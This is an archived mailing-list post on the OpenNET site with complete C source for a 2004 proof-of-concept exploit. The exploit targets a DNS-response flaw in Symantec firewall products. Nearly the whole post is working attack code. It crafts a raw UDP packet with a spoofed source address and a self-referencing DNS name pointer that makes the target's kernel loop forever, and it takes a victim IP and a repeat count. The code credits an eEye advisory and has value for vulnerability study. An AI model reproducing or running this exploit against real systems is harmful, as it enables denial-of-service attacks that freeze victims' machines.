The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


Symantec Multiple Firewall DNS Response Denial-of-Service Exploit (PoC)


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: 14 May 2004 17:01:38 -0000
From: houseofdabus HOD <houseofdabus@inbox.ru.>
To: [email protected]
Subject: Symantec Multiple Firewall DNS Response Denial-of-Service Exploit (PoC)





HOD-symantec-firewall-DoS-expl.c:

---snip---

/* HOD-symantec-firewall-DoS-expl.c:

 *

 * Symantec Multiple Firewall DNS Response Denial-of-Service

 *

 * Exploit version 0.1 coded by

 *

 *

 *                 .::[ houseofdabus ]::.

 *

 *

 *

 * Bug discoveried by eEye:

 * http://www.eeye.com/html/Research/Advisories/AD20040512B.html

 *

 * -------------------------------------------------------------------

 * Tested on:

 *    - Symantec Norton Personal Firewall 2004

 *

 *

 * Systems Affected:

 *    - Symantec Norton Internet Security 2002

 *    - Symantec Norton Internet Security 2003

 *    - Symantec Norton Internet Security 2004

 *    - Symantec Norton Internet Security Professional 2002

 *    - Symantec Norton Internet Security Professional 2003

 *    - Symantec Norton Internet Security Professional 2004

 *    - Symantec Norton Personal Firewall 2002

 *    - Symantec Norton Personal Firewall 2003

 *    - Symantec Norton Personal Firewall 2004 

 *    - Symantec Client Firewall 5.01, 5.1.1 

 *    - Symantec Client Security 1.0, 1.1, 2.0(SCF 7.1)

 *    - Symantec Norton AntiSpam 2004

 *

 * -------------------------------------------------------------------

 * Description:

 *    eEye Digital Security has discovered a second vulnerability

 *    in the Symantec firewall product line that can be remotely

 *    exploited to cause a severe denial-of-service condition on

 *    systems running a default installation of an affected version

 *    of the product. By sending a single malicious DNS (UDP port 53)

 *    response packet to a vulnerable host, an attacker can cause

 *    the Symantec DNS response validation code to enter an infinite

 *    loop within the kernel, amounting to a system freeze that requires

 *    the machine to be physically rebooted in order to restore operation.

 *

 * -------------------------------------------------------------------

 * Compile:

 *    Win32/VC++  : cl -o HOD-sym-DoS-expl HOD-sym-DoS-expl.c ws2_32.lib

 *    Win32/cygwin: gcc -o HOD-sym-DoS-expl HOD-sym-DoS-expl.c -lws2_32.lib

 *    Linux       : gcc -o HOD-sym-DoS-expl HOD-sym-DoS-expl.c -Wall

 *

 * -------------------------------------------------------------------

 * Command Line Parameters/Arguments:

 *

 *    HOD-symantec-firewall-DoS-expl [-fi:str] [-tp:int] [-ti:str] [-n:int] 

 *

 *           -fi:IP    From (sender) IP address

 *           -tp:int   To (recipient) port number

 *           -ti:IP    To (recipient) IP address

 *           -n:int    Number of times to send message

 *

 */





#ifdef _WIN32

#pragma comment(lib,"ws2_32")

#pragma pack(1)

#define WIN32_LEAN_AND_MEAN 

#include <winsock2.h>

#include <ws2tcpip.h> /* IP_HDRINCL */

#include <stdio.h>

#include <stdlib.h>



#else

#include <sys/types.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <stdio.h>

#include <stdlib.h>

#include <arpa/inet.h>

#include <netdb.h>

#include <sys/timeb.h>

#include <string.h>

#endif



#define MAX_MESSAGE        4068

#define MAX_PACKET         4096



#define DEFAULT_PORT       53

#define DEFAULT_IP         "10.0.0.1"

#define DEFAULT_COUNT      1



#ifndef _WIN32

#       define FAR

#endif





/* Define the DNS header */

char dnsreply[] =

"\xc9\x9c"  /* Transaction ID */

"\x80\x00"  /* Flags (bit 15: response) */

"\x00\x01"  /* Number of questions */

"\x00\x01"  /* Number of answer RRs */

"\x00\x00"  /* Number of authority RRs */

"\x00\x00"  /* Number of additional RRs */

"\xC0\x0C"; /* Compressed name pointer to itself */





/* Define the IP header */

typedef struct ip_hdr {

    unsigned char  ip_verlen;        /* IP version & length */

    unsigned char  ip_tos;           /* IP type of service */

    unsigned short ip_totallength;   /* Total length */

    unsigned short ip_id;            /* Unique identifier */

    unsigned short ip_offset;        /* Fragment offset field */

    unsigned char  ip_ttl;           /* Time to live */

    unsigned char  ip_protocol;      /* Protocol */

    unsigned short ip_checksum;      /* IP checksum */

    unsigned int   ip_srcaddr;       /* Source address */

    unsigned int   ip_destaddr;      /* Destination address */

} IP_HDR, *PIP_HDR, FAR* LPIP_HDR;



/* Define the UDP header */

typedef struct udp_hdr {

    unsigned short src_portno;       /* Source port number */

    unsigned short dst_portno;       /* Destination port number */

    unsigned short udp_length;       /* UDP packet length */

    unsigned short udp_checksum;     /* UDP checksum (optional) */

} UDP_HDR, *PUDP_HDR;





/* globals */

unsigned long  dwToIP,               // IP to send to

               dwFromIP;             // IP to send from (spoof)

unsigned short iToPort,              // Port to send to

               iFromPort;            // Port to send from (spoof)

unsigned long  dwCount;              // Number of times to send

char           strMessage[MAX_MESSAGE]; // Message to send







void

usage(char *progname) {

        printf("Usage:\n\n");

    printf("%s <-fi:SRC-IP> <-ti:VICTIM-IP> [-tp:DST-PORT] [-n:int]\n\n", progname);

    printf("       -fi:IP    From (sender) IP address\n");

    printf("       -tp:int   To (recipient) open UDP port number:\n");

        printf("                 137, 138, 445, 500(default)\n");

    printf("       -ti:IP    To (recipient) IP address\n");

    printf("       -n:int    Number of times\n");

    exit(1);

}



void

ValidateArgs(int argc, char **argv)

{

    int                i;



    iToPort = 500;

    iFromPort = DEFAULT_PORT;

    dwToIP = inet_addr(DEFAULT_IP);

    dwFromIP = inet_addr(DEFAULT_IP); 

    dwCount = DEFAULT_COUNT;

        memcpy(strMessage, dnsreply, sizeof(dnsreply)-1);



    for(i = 1; i < argc; i++) {

        if ((argv[i][0] == '-') || (argv[i][0] == '/')) {

            switch (tolower(argv[i][1])) {

                case 'f':

                    switch (tolower(argv[i][2])) {

                        case 'i':

                            if (strlen(argv[i]) > 4)

                                dwFromIP = inet_addr(&argv[i][4]);

                            break;

                        default:

                            usage(argv[0]);

                            break;

                    }    

                    break;

                case 't':

                    switch (tolower(argv[i][2])) {

                        case 'p':

                            if (strlen(argv[i]) > 4)

                                iToPort = atoi(&argv[i][4]);

                            break;

                        case 'i':

                            if (strlen(argv[i]) > 4)

                                dwToIP = inet_addr(&argv[i][4]);

                            break;

                        default:

                            usage(argv[0]);

                            break;

                    }    

                    break;

                case 'n':

                    if (strlen(argv[i]) > 3)

                        dwCount = atol(&argv[i][3]);

                    break;

                default:

                    usage(argv[0]);

                    break;

            }

        }

    }

    return;

}





/*    This function calculates the 16-bit one's complement sum */

/*    for the supplied buffer */

unsigned short

checksum(unsigned short *buffer, int size)

{

    unsigned long cksum=0;



    while (size > 1) {

        cksum += *buffer++;

        size  -= sizeof(unsigned short);   

    }

    if (size) {

        cksum += *(unsigned char *)buffer;   

    }

    cksum = (cksum >> 16) + (cksum & 0xffff);

    cksum += (cksum >>16); 



    return (unsigned short)(~cksum); 

}









int

main(int argc, char **argv)

{

#ifdef _WIN32

    WSADATA            wsd;

#endif

    int                s;

#ifdef _WIN32

        BOOL                bOpt;

#else

        int                bOpt;

#endif

    struct sockaddr_in remote;

    IP_HDR             ipHdr;

    UDP_HDR            udpHdr;

    int                ret;

    unsigned long      i;

    unsigned short     iTotalSize,

                       iUdpSize,

                       iUdpChecksumSize,

                       iIPVersion,

                       iIPSize,

                       cksum = 0;

    char               buf[MAX_PACKET],

                       *ptr = NULL;

#ifdef _WIN32

    IN_ADDR            addr;

#else

        struct sockaddr_in addr;

#endif



        printf("\nSymantec Multiple Firewall DNS Response Denial-of-Service exploit v0.1\n");

    printf("Bug discoveried by eEye:\n");

    printf("http://www.eeye.com/html/Research/Advisories/AD20040512B.html\n\n");

        printf("--- Coded by .::[ houseofdabus ]::. ---\n\n");



        if (argc < 3) usage(argv[0]);



    /* Parse command line arguments and print them out */

    ValidateArgs(argc, argv);

#ifdef _WIN32

    addr.S_un.S_addr = dwFromIP;

    printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr), iFromPort);

    addr.S_un.S_addr = dwToIP;

    printf("[*] To   IP: <%s>, port: %d\n", inet_ntoa(addr), iToPort);

    printf("[*] Count:   %d\n", dwCount);

#else

    addr.sin_addr.s_addr = dwFromIP;

    printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), iFromPort);

    addr.sin_addr.s_addr = dwToIP;

    printf("[*] To   IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), iToPort);

    printf("[*] Count:   %d\n", dwCount);

#endif



#ifdef _WIN32

    if (WSAStartup(MAKEWORD(2,2), &wsd) != 0) {

        printf("[-] WSAStartup() failed: %d\n", GetLastError());

        return -1;

    }

#endif

    /*  Creating a raw socket */

    s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);

#ifdef _WIN32

    if (s == INVALID_SOCKET) {

        printf("[-] WSASocket() failed: %d\n", WSAGetLastError());

        return -1;

    }

#endif



    /* Enable the IP header include option */

#ifdef _WIN32

    bOpt = TRUE;

#else

    bOpt = 1;

#endif

    ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof(bOpt));

#ifdef _WIN32

    if (ret == SOCKET_ERROR) {

        printf("[-] setsockopt(IP_HDRINCL) failed: %d\n", WSAGetLastError());

        return -1;

    }

#endif

    /* Initalize the IP header */

    iTotalSize = sizeof(ipHdr) + sizeof(udpHdr) + sizeof(dnsreply)-1;



    iIPVersion = 4;

    iIPSize = sizeof(ipHdr) / sizeof(unsigned long);



    ipHdr.ip_verlen = (iIPVersion << 4) | iIPSize;

    ipHdr.ip_tos = 0;                         /* IP type of service */

    ipHdr.ip_totallength = htons(iTotalSize); /* Total packet len */

    ipHdr.ip_id = 0;                 /* Unique identifier: set to 0 */

    ipHdr.ip_offset = 0;             /* Fragment offset field */

    ipHdr.ip_ttl = 128;              /* Time to live */

    ipHdr.ip_protocol = 0x11;        /* Protocol(UDP) */

    ipHdr.ip_checksum = 0 ;          /* IP checksum */

    ipHdr.ip_srcaddr = dwFromIP;     /* Source address */

    ipHdr.ip_destaddr = dwToIP;      /* Destination address */



    /* Initalize the UDP header */

    iUdpSize = sizeof(udpHdr) + sizeof(dnsreply)-1;



    udpHdr.src_portno = htons(iFromPort) ;

    udpHdr.dst_portno = htons(iToPort) ;

    udpHdr.udp_length = htons(iUdpSize) ;

    udpHdr.udp_checksum = 0 ;





        iUdpChecksumSize = 0;

    ptr = buf;

        memset(buf, 0, MAX_PACKET);



    memcpy(ptr, &ipHdr.ip_srcaddr,  sizeof(ipHdr.ip_srcaddr));  

    ptr += sizeof(ipHdr.ip_srcaddr);

    iUdpChecksumSize += sizeof(ipHdr.ip_srcaddr);



    memcpy(ptr, &ipHdr.ip_destaddr, sizeof(ipHdr.ip_destaddr)); 

    ptr += sizeof(ipHdr.ip_destaddr);

    iUdpChecksumSize += sizeof(ipHdr.ip_destaddr);



    ptr++;

    iUdpChecksumSize += 1;



    memcpy(ptr, &ipHdr.ip_protocol, sizeof(ipHdr.ip_protocol)); 

    ptr += sizeof(ipHdr.ip_protocol);

    iUdpChecksumSize += sizeof(ipHdr.ip_protocol);



    memcpy(ptr, &udpHdr.udp_length, sizeof(udpHdr.udp_length)); 

    ptr += sizeof(udpHdr.udp_length);

    iUdpChecksumSize += sizeof(udpHdr.udp_length);

    

    memcpy(ptr, &udpHdr, sizeof(udpHdr)); 

    ptr += sizeof(udpHdr);

    iUdpChecksumSize += sizeof(udpHdr);



        for(i = 0; i < sizeof(dnsreply)-1; i++, ptr++)

        *ptr = strMessage[i];

    iUdpChecksumSize += sizeof(dnsreply)-1;



    cksum = checksum((unsigned short *)buf, iUdpChecksumSize);

    udpHdr.udp_checksum = cksum;





        memset(buf, 0, MAX_PACKET);

    ptr = buf;



    memcpy(ptr, &ipHdr, sizeof(ipHdr));   ptr += sizeof(ipHdr);

    memcpy(ptr, &udpHdr, sizeof(udpHdr)); ptr += sizeof(udpHdr);

    memcpy(ptr, strMessage, sizeof(dnsreply)-1);



    remote.sin_family = AF_INET;

    remote.sin_port = htons(iToPort);

    remote.sin_addr.s_addr = dwToIP;

   

    for(i = 0; i < dwCount; i++) {

#ifdef _WIN32

        ret = sendto(s, buf, iTotalSize, 0, (SOCKADDR *)&remote, 

            sizeof(remote));



        if (ret == SOCKET_ERROR) {

            printf("[-] sendto() failed: %d\n", WSAGetLastError());

            break;

        } else

#else

        ret = sendto(s, buf, iTotalSize, 0, (struct sockaddr *) &remote, 

            sizeof(remote));

#endif

            printf("[+] sent %d bytes\n", ret);

    }



#ifdef _WIN32

    closesocket(s);

    WSACleanup();

#endif



    return 0;

}

---snip---





<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру